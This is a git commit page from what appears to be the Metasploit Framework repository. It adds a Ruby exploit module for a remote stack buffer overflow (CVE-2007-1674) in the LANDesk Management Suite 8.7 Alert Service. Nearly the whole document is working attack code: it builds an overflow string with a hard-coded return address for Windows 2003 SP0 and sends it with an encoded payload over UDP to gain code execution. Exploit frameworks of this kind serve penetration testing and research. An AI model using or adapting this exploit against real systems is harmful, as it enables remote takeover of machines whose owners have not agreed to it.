added exploit module landesk_aolnsrvr.rb
git-svn-id: file:///home/svn/framework3/trunk@4681 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
b5b4556ee7
commit
be33707745
|
@ -0,0 +1,73 @@
|
||||||
|
##
|
||||||
|
# $Id: landesk_aolnsrvr.rb 4419 2007-02-18 00:10:39Z hdm $
|
||||||
|
##
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/projects/Framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
class Exploits::Windows::Misc::Landesk_Aolnsrvr < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
include Exploit::Remote::Udp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'LANDesk Management Suite 8.7 Alert Service Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack overflow in LANDesk Management Suite 8.7. By sending
|
||||||
|
an overly long string to the Alert Service, a buffer is overwritten and arbitrary
|
||||||
|
code can be executed.
|
||||||
|
},
|
||||||
|
'Author' => 'MC',
|
||||||
|
'Version' => '$Revision: 4419 $',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2007-1674'],
|
||||||
|
['URL', 'http://www.tippingpoint.com/security/advisories/TSRT-07-04.html'],
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 600,
|
||||||
|
'BadChars' => "\x00\x20",
|
||||||
|
'StackAdjustment' => -3500,
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows 2003 Server SP0 English', { 'Ret' => 0x00423554 } ], # Aolnsrvr.exe 4.0
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Apr 13 2007'))
|
||||||
|
|
||||||
|
register_options([Opt::RPORT(65535)], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect_udp
|
||||||
|
|
||||||
|
# One-shot overwrite =(
|
||||||
|
sploit = rand_text_alphanumeric(280) + [target.ret].pack('V') + payload.encoded
|
||||||
|
|
||||||
|
print_status("Trying target #{target.name}...")
|
||||||
|
|
||||||
|
udp_sock.put(sploit)
|
||||||
|
|
||||||
|
disconnect_udp
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue